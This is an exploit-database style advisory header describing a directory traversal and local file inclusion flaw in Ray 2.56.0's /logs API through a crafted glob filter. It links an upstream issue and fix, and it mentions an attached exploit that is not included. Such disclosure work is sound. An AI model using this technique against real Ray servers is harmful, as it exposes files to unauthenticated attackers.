# Google Dork: N/A
# Exploit Author: Richard Howe (rhowe425@gmail.com)
# Vendor Homepage: https://github.com/ray-project/ray
# Software Link: https://github.com/ray-project/ray
# Version: 2.56.0
# Tested on: Ubuntu 22.04 and RHEL 10.0
# CVE: Pending CNA assignment


A fix has been proposed upstream and is currently under review by the
Ray maintainers.
GH Issue: https://github.com/ray-project/ray/issues/45751
GH Pull Request: https://github.com/ray-project/ray/pull/64701

This proof of concept demonstrates a directory traversal/local file
inclusion vulnerability in Ray's /logs API.
By supplying a crafted glob filter, a remote unauthenticated attacker
can access files outside the intended log directory.
The attached exploit reproduces the issue against Ray 2.56.0 on Ubuntu
22.04 and RHEL 10.0.
